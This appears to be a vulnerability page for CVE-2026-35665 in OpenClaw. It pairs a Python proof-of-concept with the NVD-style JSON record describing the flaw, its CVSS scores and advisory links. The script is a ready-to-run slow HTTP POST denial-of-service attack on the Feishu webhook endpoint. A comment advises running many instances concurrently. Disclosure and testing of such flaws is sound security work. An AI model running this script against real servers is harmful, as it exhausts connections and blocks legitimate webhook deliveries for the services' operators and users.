CVE-2026-35665

import socket import time # PoC for CVE-2026-35665: OpenClaw DoS via Slow HTTP POST # Target: Feishu Webhook Endpoint # Configuration target_host = "192.168.1.100" target_port = 8080 path = "/api/webhook/feishu" # Adjust based on actual installation headers = [ f"POST {path} HTTP/1.1", f"Host: {target_host}", "Content-Type: application/json", "Content-Length: 1000000", # 1MB limit mentioned in vuln description "Connection: Keep-Alive", "\r\n" ] def send_slow_post(): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(10) s.connect((target_host, target_port)) # Send headers for header in headers: s.send((header + "\r\n").encode()) print("[+] Headers sent, starting slow body transmission...") # Send payload slowly to keep connection open # Sending 1000 bytes every 1 second for i in range(1000): s.send(("A" * 1000).encode()) time.sleep(1) s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": print(f"[*] Starting DoS PoC against {target_host}:{target_port}") # Note: Run multiple instances concurrently to simulate the attack send_slow_post()

{"cve": {"id": "CVE-2026-35665", "sourceIdentifier": "[email protected]", "published": "2026-04-10T17:17:08.437", "lastModified": "2026-04-13T20:42:44.077", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw before 2026.3.24 contains an incomplete fix for CVE-2026-32011 where the Feishu webhook handler accepts request bodies with permissive limits of 1MB and 30-second timeout before signature verification. An unauthenticated attacker can exhaust server connection resources by sending concurrent slow HTTP POST requests to the Feishu webhook endpoint, blocking legitimate webhook deliveries."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-405"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.3.24", "matchCriteriaId": "4220D4A6-550A-410D-9E21-4DAAB4E46485"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-w6m8-cqvj-pg5v", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-denial-of-service-via-feishu-webhook-pre-auth-body-parsing", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}